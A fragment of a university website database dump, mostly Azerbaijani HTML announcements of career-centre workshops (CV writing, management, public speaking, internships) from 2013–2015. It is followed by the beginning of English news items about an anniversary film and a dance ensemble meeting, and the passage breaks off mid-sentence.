HAZIRLANMASI&nbsp;</strong></p><p>Təlimçi: Orxan Oruc</p>\r\n<p>Təhsili&nbsp;-&nbsp;Azərbaycan Prezidenti yanında Vətəndaşlara Xidmət və Sosial&nbsp;</p>\r\n<p>İnnovasiyalar üzrə Dövlət Agentliyinin İnsan resursları və Təlim şöbəsinin təlimçisi (ASAN&nbsp;xidmət);</p>\r\n<p>Tarix: 16 Oktyabr, 2015</p>\r\n<p>Saat: 17:00-18:30</p>\r\n<p>Yer: Otaq N&nbsp;206 (2-ci mərtəbə, köhnə bina)</p>\r\n<p>Qeydiyyat: Karyera Mərkəzi, ikinci mərtəbə, otaq №211 (köhnə bina)  ;</p>\r\n<p>Zəhmət olmasa son tarixə kimi qeydiyyatdan keçin.</p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Peşə İnkişaf Mərkəzi</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BİZNES ƏLAQƏSİ VƏ RƏHBƏRLİK</strong></p><p>Təlimçi:&nbsp;Şirvani Sarbadhikar</p>\r\n<p>Tarix:&nbsp;11 mart,&nbsp;2015 (çərşənbə)</p>\r\n<p>Saat:&nbsp;15:00</p>\r\n<p>Yer:&nbsp;Otaq N&nbsp;206 (köhnə bina)</p>\r\n<p>Workshop-a qeydiyyat üçün <em>Peşə İnkişaf Mərkəzinə</em> müraciət edin.</p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;Qeydiyyat üçün tələsin!</p><p><br></p>  <hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp;&nbsp;</strong><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;TEXNİKİ MÜSAHİBƏ</strong></p><p>Təlimçi:&nbsp;Fərid Abbasov</p>\r\n<p>Tarix:&nbsp;6 mart,&nbsp;2015 (cümə)</p>\r\n<p>Saat:&nbsp;15:00-16:00</p>\r\n<p>Yer:&nbsp;Otaq N 206 (köhnə bina)</p>\r\n<p>Workshop-a qeydiyyat üçün<em> Peşə İnkişaf Mərkəzinə</em> müraciət edin.</p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Qeydiyyat üçün tələsin!</p>  <p>&nbsp;</p><hr><p>&nbsp; &nbsp; &nbsp; &nbsp; </p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<strong>MENECMENT</strong></p>\r\n<p>Təlimçi: Tofiq Sadıqov</p>\r\n<p>Tarix:&nbsp;5 fevral 2015 (cümə axşamı)</p>\r\n<p>Saat:&nbsp;11:00-13:00</p>\r\n<p>Yer:&nbsp;Otaq N 206 (köhnə bina)</p>\r\n<p>Workshop-a qeydiyyat üçün <em>Peşə İnkişaf Mərkəzinə</em> müraciət edin.</p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Qeydiyyat üçün tələsin!</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp;</strong><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SAHİBKARLIQ</strong></p><p>Təlimçi: Elgün Qurbanov<strong></strong></p>\r\n<p>Tarix:&nbsp;5 dekabr 2014 (cümə)</p>\r\n<p>Saat:&nbsp;15:00-16:00</p>\r\n<p>Yer:&nbsp;Otaq N&nbsp;206 (köhnə bina)</p>\r\n<p>Workshop-a qeydiyyat üçün <em>Peşə İnkişaf Mərkəzinə</em> müraciət edin.</p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Qeydiyyat üçün tələsin!</p><p><strong>&nbsp;</strong></p><hr><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</strong><strong></strong></p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ÖZÜNÜ İNKİŞAF</strong></p><p>Təlimçi:&nbsp;Toğrul Ələkbərov&nbsp;</p>\r\n<p>Tarix:&nbsp;27 noyabr 2014, (cümə axşamı)</p>\r\n<p>Saat:&nbsp;15:00-17:00</p>\r\n<p>Yer:&nbsp;Otaq N&nbsp;206 (köhnə bina)</p>\r\n<p>Workshop-a qeydiyyat üçün <em>Peşə İnkişaf Mərkəzinə</em> müraciət edin.</p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Qeydiyyat üçün tələsin!</p>  <p>&nbsp;</p><hr><p>&nbsp;</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<strong>EFFEKTİV CV NECƏ YAZMALI?</strong></p>\r\n<p>Təlimçi: Tofiq Sadıqov</p>\r\n<p>Tarix:&nbsp;12 dekabr 2013 (cümə axşamı)</p>\r\n<p>Saat:&nbsp;12:00-14:00</p>\r\n<p>Yer:&nbsp;Otaq 45 –&nbsp;şəhər mərkəzindəki kampus</p>\r\n<p>Workshop-a qeydiyyat üçün dekan müavininin otağına müraciət edin.</p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp;Qeydiyyat üçün tələsin!</p>  <p>&nbsp;</p><hr><p>&nbsp;</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<strong>&nbsp;TƏŞKİLATİ&nbsp;ƏLAQƏLƏR</strong></p>\r\n<p>Tarix: 2 Noyabr&nbsp;2013 (Şənbə)</p>\r\n<p>Saat:&nbsp;15:00-17:00</p>\r\n<p>Yer: Otaq&nbsp;№ 206 (köhnə bina)</p>\r\n<p>Təlimçi:&nbsp;Aynur Nabiyeva</p>\r\n<p>Workshop-a qeydiyyat üçün <em>Peşə İnkişaf Mərkəzinə</em> müraciət edin.</p>\r\n<p>Son qeydiyyat&nbsp;tarixi: 1 noyabr 17:00</p>\r\n<p>&nbsp;&nbsp; Qeydiyyat üçün tələsin!</p>  <p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; AZAD İŞÇİ OLARAQ PULU NECƏ QAZANMAQ OLAR?</strong></p><p>Tarix:&nbsp;26 Oktyabr (şənbə)<strong></strong></p>\r\n<p>Tarix:&nbsp;15:00-17:00</p>\r\n<p>Yer:&nbsp;Otaq N 206 (köhnə bina)</p>\r\n<p>Workshop-a qeydiyyat üçün <em>Peşə İnkişaf Mərkəzinə</em> müraciət edin.</p>\r\n<p>Siz elmi işi daha yaxşı bacara bilərsiniz!</p>  <p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LAYİHƏ İDARƏSİ</strong></p><p><strong></strong></p><p>Bura da iştirakçılara necə layihə yazmalı olduğunu, necə müvəffəqiyətli təqaüd qazanmalı və layihənin sabitliyini necə idarə etməli olduqları öyrədiləcək.</p>\r\n<p>Şəxsi layihəni yarat. Fərdi işləyin və təcrübə qazanın.</p>\r\n<p>Təlimçi: Tamerlan Dəmirbəyli</p>\r\n<p>Tarix:&nbsp;5 Oktyabr 2013 (şənbə)</p>\r\n<p>Saat:&nbsp;15:00 - 18:00</p>\r\n<p>Yer:&nbsp;Otaq N 206 (köhnə bina)</p>\r\n<p>Workshop-a qeydiyyat üçün <em>Peşə İnkişaf Mərkəzinə</em> müraciət edin.</p>\r\n<p>Son qeydiyyat tarixi:&nbsp;4 oktyabr 17:00</p>  <p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PSİXOLOQLARIN DİQQƏTİNƏ!</strong></p><p><strong></strong></p><p>Peşə İnkişaf Mərkəzi bacarıqlı&nbsp;təcrübəçi mövzusunda təlim keçirəcəyini məmuniyyətlə elan edir.</p>\r\n<p><strong><em>Uşaq davranışında problemlər və onların aradan qaldırılması</em></strong></p>\r\n<p>Tarix:&nbsp;3 May,&nbsp;2013 (cümə)</p>\r\n<p>Saat:&nbsp;16:00 - 18:00</p>\r\n<p>Yer: Otaq N&nbsp;403 (yeni bina)</p>\r\n<p>Təlimçi:&nbsp;Aida Nabiyeva</p>\r\n<p>Əlavə məlumat üçün zəhmət olmasa, <em>Peşə İnkişaf Mərkəzinə (№211)</em> yaxınlaşın.</p>\r\n<p>Şansınızı qaçırmayın!</p>  <p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BACARIQLI TƏCRÜBƏÇİ</strong></p><p>Peşə İnkişaf Mərkəzi&nbsp; bacarıqlı təcrübəçi mövzusunda təlim keçirəcəyini məmuniyyətlə elan edir.</p>\r\n<p>Sessiya başlıqları:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\r\n<p><br></p>\r\n<ul>\r\n<li>Təcrübə nədir və təcrübəçi kimdir?</li>\r\n<li>Necə bacarıqlı təcrübəçi olmaq olar?</li>\r\n<li>Təcrübəyə necə getməli və necə dönməli?</li>\r\n</ul>\r\n<p><br></p>\r\n<p>Tarix:&nbsp;10 May, 2013 (cümə)</p>\r\n<p>Saat:&nbsp;18:30 - 20:30</p>\r\n<p>Yer: Otaq N&nbsp;206 (köhnə bina)</p>\r\n<p>Təlimçi:&nbsp;Toğrul Ələkbərov</p>\r\n<p>Qeydiyyat üçün zəhmət olmasa <em>Peşə İnkişaf Mərkəzinə (№211-köhnə bina)</em> yaxınlaşın</p>\r\n<p>Son qeydiyyat&nbsp;tarixi: 8 May,&nbsp;20:00</p>\r\n<p>Unutmayın! Yalnız 25 namizəd iştirak üçün müraciət edə bilər.</p>\r\n<p><strong><em>Qeyd</em></strong>: Kursun bütün bölmələrini tamamlamış hər bir iştirakçıya Peşə Mərkəzi koordinatoru və təlimçi tərəfindən imzalanmış Təlim Sertifikatı veriləcək. Hər bir dəyişiklik sizə e-mail vasitəsilə göndəriləcək.</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;NLP (NEVRO LİNGVİSTİK PROQRAMLAŞDIRMA)</strong></p><p><em>Sessiyalar:</em></p>\r\n<ul>\r\n<li>Ünsiyyətinizə zəriflik və ustalıq qatın</li>\r\n<li>Həyatınızın bütün sahələrində münasibətlərinizi mükəmməlləşdirin;</li>\r\n<li>Stresslə əylənərək və yorulmadan başa çıxmağı öyrənin;</li>\r\n<li>Özünüzə və ətrafınızdakılara olan münasibətinizi inkişaf etdirin;</li>\r\n<li>Ətrafınızdakıların həyatını həmişəlik dəyişin.</li>\r\n</ul>\r\n<p>Tarix:&nbsp;27 Aprel, Cümə, 2013</p>\r\n<p>Saat:&nbsp;15:00 - 17:00</p>\r\n<p>Yer: Otaq N&nbsp;304 (III mərtəbə, köhnə korpus)</p>\r\n<p>Təlimçi:&nbsp;Babək Bayramov</p>\r\n<p>&nbsp;Məlumat üçün zəhmət olmasa, <em>Peşə İnkişaf Mərkəzinə (Otaq N&nbsp;211)</em> yaxınlaşın.</p>\r\n<p>Şansınızı qaçırmayın!</p>  <p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ƏZİZ PSİXOLOQLAR!</strong></p><p>Məmnuniyyətlə bildiririk ki, Peşə İnkişaf Mərkəzi “Psixoanalizin praktiki tətbiqi metodları: nəzəriyyədən praktikaya” mövzusunda mühazirə keçirəcək.<strong></strong></p>\r\n<p>Tarix:&nbsp;26 Aprel, Cümə, 2013</p>\r\n<p>Saat:&nbsp;15:00 - 17:00</p>\r\n<p>Yer: Otaq N&nbsp;203 (II mərtəbə, yeni bina)</p>\r\n<p>Təlimçi:&nbsp;&nbsp;Kənan Rəhimov</p>\r\n<p>Məlumat üçün zəhmət olmasa<em> Peşə inkişaf mərkəzinə (Otaq N&nbsp;211)</em> yaxınlaşın.</p>\r\n<p>Şansınızı qaçırmayın!</p>\r\n<p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</strong><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XARİZMATİK LİDERLİK&nbsp;</strong></p><p><em>Sessiya Başlıqları:&nbsp;</em><strong></strong></p>\r\n<p><br></p>\r\n<ul>\r\n<li>Xarizma anlayışı;yerlilər və immigrantlar</li>\r\n<li>“Sayanın gülü saymayanın ağasıyam” anlayışı</li>\r\n<li>Xarizma haqqında əfsanə, Problem dilləri, Çözüm dilləri</li>\r\n<li>Sevgidən daha irəli olmaq</li>\r\n<li>Diskussiya və debatlar</li>\r\n</ul>\r\n<p><br></p>\r\n<p>Tarix:&nbsp;13 Aprel, 2013&nbsp;(şənbə)</p>\r\n<p>Saat:&nbsp;15:00 - 18:00</p>\r\n<p>Yer: Otaq N 206 (II mərtəbə, köhnə bina)</p>\r\n<p>Təlimçi:&nbsp;&nbsp;Talib Bayramov</p>\r\n<p>Workshop-a qeydiyyat üçün <em>Peşə İnkişaf Mərkəzinə (otaq N 211</em>) yaxınlaşın.</p>\r\n<p>Son qeydiyyat&nbsp;tarixi: 12 Aprel, 17:00</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p><hr><p>&nbsp;<strong>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</strong></p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;MARKETİNQ BAŞLANĞICI</strong></p><p><strong></strong></p><p><br></p>\r\n<ul>\r\n<li>İdeyalar və məhsullar&nbsp;</li>\r\n<li>Məhsul və xidmət marketinqi arasındakı əsas fərqlər&nbsp;</li>\r\n<li>Məhsul, Qiymət, Məkan, Tanıtım&nbsp;</li>\r\n<li>SWOT analizi (2 müxtəlif yolu), AİDA və BCG matriksi&nbsp;</li></ul>\r\n<p>Tarix:&nbsp;17 Aprel, Çərşənbə, 2013</p>\r\n<p>Saat:&nbsp;14:00 - 16:00</p>\r\n<p>Yer:&nbsp;Xəzər Universiteti şəhər korpusu&nbsp;</p>\r\n<p>Təlimçi:&nbsp;Mirşahbaz Seyidli</p>\r\n<p>Qeydiyyat üçün zəhmət olmasa dekan assistantına yaxınlaşın.</p>\r\n<p>Son qeydiyat&nbsp;tarixi: 16 Aprel,17:00</p>\r\n<p>&nbsp;</p><hr><p>&nbsp;&nbsp;</p><p>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<strong>&nbsp;&nbsp; MOTİVASİYSA VƏ ÖZÜNƏ İNAM</strong></p><ul>\r\n<li>Motivə olmuş uğursuzluq,motivə olma,müsbət alışqanlıq&nbsp;</li>\r\n<li>Davranış dəyişikliklərinin, özünə-yardımın planlaşdırılması&nbsp;</li>\r\n<li>Özünə-yardım planının tamamlanması, davranışları düzgün başa düşməli, sevdiyin birini itirmə&nbsp;</li>\r\n<li>Özünü-əksetdirmənin inkişaf etdirilməsi, hədəflərin tam müəyyənləşdirilməsi&nbsp;&nbsp;</li>\r\n<li>Qürur hissi, məmnunluq hissi&nbsp;</li>\r\n<li>Diskussiya və debatlar&nbsp;</li></ul>\r\n<p>Tarix:&nbsp;6 Aprel, Şənbə, 2013</p>\r\n<p>Saat:&nbsp;13:00 - 18:00</p>\r\n<p>Yer:&nbsp;Otaq&nbsp;N 206</p>\r\n<p>Təlimçi:&nbsp;Toğrul Ələkbərov</p>\r\n<p>&nbsp;Qeydiyyat üçün zəhmət olmasa <em>Peşə İnkişaf Mərkəzinə</em> yaxınlaşın.</p>\r\n<p>Son qeydiyyat&nbsp;tarixi:&nbsp;5 Aprel,17:00</p><p><br></p>  <hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;VAXTIN İDARƏ OLUNMASI</strong></p><p><br></p>\r\n<ul>\r\n<li>“Məhsuldar” və “məşğul” olmaq&nbsp; arasındakı fərq nədir?&nbsp;</li>\r\n<li>Vaxtı idarə etmək həqiqətən mümkündürmü?&nbsp;</li>\r\n<li>Düzgün səbəblərə görə düzgün yolla necə&nbsp; tapşırmaq olar?&nbsp;</li>\r\n<li>Diskussiya və debatlar</li></ul>\r\n<p>Tarix:&nbsp;3 Aprel, &nbsp;2013 (çərşənbə)</p>\r\n<p>Saat:&nbsp;14:00 – 16:00</p>\r\n<p>Yer:&nbsp;Xəzər Universiteti şəhər korpusu&nbsp;</p>\r\n<p>Təlimçi:&nbsp;Tofiq Sadıxov</p>\r\n<p>Qeydiyyat üçün zəhmət olmasa Dekan Assistantına yaxınlaşın.</p>\r\n<p>Son qeydiyyat&nbsp;tarixi: 2 Aprel,&nbsp;17:00</p>\r\n<p>Unutmayın! Yalnız 25 namizəd iştirak üçün müraciət edə bilər.</p>\r\n<p><strong><em>Qeyd:&nbsp;</em></strong>Kursun bütün bölmələrini tamamlamış hər bir iştirakçıya Peşə İnkişaf Mərkəzinin koordinatoru və təlimçi tərəfindən imzalanmış Təlim Sertifikatı veriləcək. Hər bir dəyişiklik sizə e-mail vasitəsilə göndəriləcək.</p>\r\n<p>&nbsp;</p><hr><p>&nbsp;<strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</strong></p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NATİQLİK – MASTER KLASS KURSU</strong></p><p><br></p>\r\n<ul>\r\n<li>Özünü təqdim etmə: Yaxşı ilkin təəssürat yaratmaq,</li>\r\n<li>&nbsp;Natiqin şəxsi imici, bədən dili, bədən vəziyyəti,&nbsp;Üz ifadələri və auditoriya ilə vizual kontakt</li>\r\n<li>Effektiv təqdimat,audiovizual resurslar və media (Power Point və s.)&nbsp;&nbsp;</li>\r\n<li>İntonasiya, səs həcmi, vokallama və səssizlik&nbsp;</li>\r\n<li>Diskussiya və debatlar</li>\r\n</ul>\r\n<p><br></p>\r\n<p>Tarix:&nbsp;30 Mart, Şənbə, 2013</p>\r\n<p>Saat:&nbsp;13:00 – 17:00</p>\r\n<p>Yer:&nbsp;Otaq N 206&nbsp; (II mərtəbə, könhə bina)&nbsp;</p>\r\n<p>Təlimçi:&nbsp;Talib Bayramov</p>\r\n<p>Qeydiyyat üçün zəhmət olmasa<em> Peşə İnkişaf Mərkəzinə (otaq N211)</em> yaxınlaşın.</p>\r\n<p>Son qeydiyyat&nbsp;tarixi: 29 Mart,&nbsp;17:00</p>\r\n<p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;KÖNÜLLÜLÜK YOXSA TƏCRÜBƏ?</strong></p><p><strong></strong></p><p>Kurs 3 sessiyada keçiriləcək:</p>\r\n<ol>\r\n<li>Təcrübə nədir? Təcrübəyə və ya könüllü işə niyə ehtiyacınız var?</li>\r\n<li>Təcrübə proqramı və Könüllü işin müqayisəsi</li>\r\n<li>Necə effektiv təcrübəçi olmaq olar?&nbsp;Təcrübə Proqramına necə getməli və dönməli?</li>\r\n</ol>\r\n<p>Diskussiya və debatlar&nbsp;</p>\r\n<p>Tarix:&nbsp;16 Mart, Şənbə, 2013</p>\r\n<p>Saat:&nbsp;15:00 – 17:00</p>\r\n<p>Yer:&nbsp;Zal N&nbsp;206&nbsp; (II mərtəbə, köhnə bina)&nbsp;</p>\r\n<p>Təlimçi:&nbsp;Cavid Quliyev</p>\r\n<p>Hər sessiyada yarım saatlıq kofe-breyk veriləcək.</p>\r\n<p>Qeydiyyat üçün zəhmət olmasa <em>Peşə İnkişaf Mərkəzinə (otaq N211)</em> yaxınlaşın.</p>\r\n<p>Son Qeydiyyat tarixi: 15 Mart,17:00</p>\r\n<p>Qeydiyyat üçün tələsin!</p>\r\n<p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EFFEKTİV CV VƏ MOTİVASİYA MƏKTUBU YAZILMASI</strong></p><p>Kurs 3 sessiyada keçiriləcək:&nbsp;</p><ol><li>İxtisas və sahələrlə əlaqədar effektiv CV və Motivasiya məktubu yazmaq; edilməli və edilməməlilər&nbsp;</li><li>Effektiv müsahibə;&nbsp;edilməli və edilməməlilər;&nbsp;effektiv geyim</li><li>Diskussiya və debatlar ;&nbsp;CV və Motivasiya məktubu təcrübəsi&nbsp;</li></ol><p>Təlimçi:&nbsp;Toğrul Ələkbərov</p><p>Tarix:&nbsp;8 Mart,&nbsp;2013 (cümə)</p><p>Saat:&nbsp;12:00-15:00</p><ul><li>Hər sessiyada yarım saatlıq kofe-breyk veriləcək.</li><li>Qeydiyyat üçün&nbsp;<em>Günay Əsədovaya</em> yaxınlaşın.</li><li>Son qeydiyyat&nbsp;tarixi: 7 Mart,&nbsp;16:00</li></ul><p>Qeydiyyat üçün tələsin!</p><p>Peşə İnkişaf Komandası</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</strong><strong>&nbsp; EFFEKTİV CV VƏ MOTİVASİYA MƏKTUBU YAZILMASI</strong></p><p>Kurs 3 sessiyada keçiriləcək:</p><br><ol><li>İxtisas və sahələrlə əlaqədar effektiv CV və Motivasiya məktubu yazmaq, edilməli və edilməməlilər</li><li>Diskussiya və debatlar</li><li>CV və Motivasiya məktubu təcrübəsi</li></ol><br><p>Təlimçi: Vaqif Kərimli</p><p>Tarix:&nbsp;2 Mart (şənbə)</p><p>Saat:&nbsp;10:30 – 13:00</p><p>Yer:&nbsp;Otaq&nbsp;N206&nbsp; (II mərtəbə, köhnə bina)</p><p>Bu workshop fürsəti qaçıran tələbələr üçündür!</p><p>&nbsp; &nbsp;Peşə İnkişaf Komandası&nbsp;</p><hr><p>&nbsp;</p><p><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ƏZİZ TƏLƏBƏLƏR VƏ MƏZUNLAR!</strong></p><p>Peşə İnkişaf Mərkəzi sizi&nbsp; <em>Maliyyə yardımı məktubu</em>&nbsp;yazmaq üçün Workshop-a dəvət edir.&nbsp;</p><p>Vaxt:&nbsp;11:00-12:00</p><p>Bizə qoşulmaq üçün buyurun.</p><p>&nbsp; &nbsp;Peşə İnkişaf Komandası</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ƏZİZ&nbsp;TƏLƏBƏLƏR VƏ MƏZUNLAR!</strong></p><p>Peşə İnkişaf Mərkəzi sizi <em>motivasiya məktubu</em>&nbsp;yazmaq üçün Workshop-a dəvət edir.</p><p>Tarix:&nbsp;30 Sentyabr (çərşənbə)</p><p>Saat:&nbsp;11:00-12:00</p><p>Yer: Otaq N211, II mərtəbə, köhnə bina</p><p>Qeydiyyat üçün mərkəzə yaxınlaşın.</p><p>&nbsp; &nbsp;Peşə İnkişaf Komandası</p>  </div><br><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p>  <div><br></div>'),(2015,1225,'en','A Film about 25th Anniversary of Khazar University on Youtube ',' A documentary made by Khazar University Multimedia center on the 25th anniversary of the university was posted on Youtube...','<p>&nbsp;A\r\ndocumentary made by Khazar University Multimedia center on the 25th anniversary\r\nof the university was posted on Youtube.</p>\r\n<p>To see the film, visit the following\r\nlink:</p>\r\n<p><a href=\"https://www.youtube.com/playlist?list=PLUBP1kPTxSFrB3YYx7YzXafxlp5MvWX3w\">https://www.youtube.com/playlist?list=PLUBP1kPTxSFrB3YYx7YzXafxlp5MvWX3w</a></p>'),(2016,1226,'en','Khazar Dance Ensembles Meeting Held','On June 21, 2016, a meeting of the boys’ and girls’ dance ensembles of Khazar University was held...','<p>&nbsp;On June 21, 2016, a meeting of the boys’\r\nand girls’ dance ensembles&nbsp;of Khazar University was held. Alovsat\r\nAmirbeyli, Director for Public Relations and Media, gave information about\r\ndance ensembles&nbsp;` activities in Kahramanmaras and Giresun, Turkey, and expressed\r\ndeep gratitude to students on behalf of the university administration. Then\r\nissues on preparation to Arhavi Festival to be held in August, in 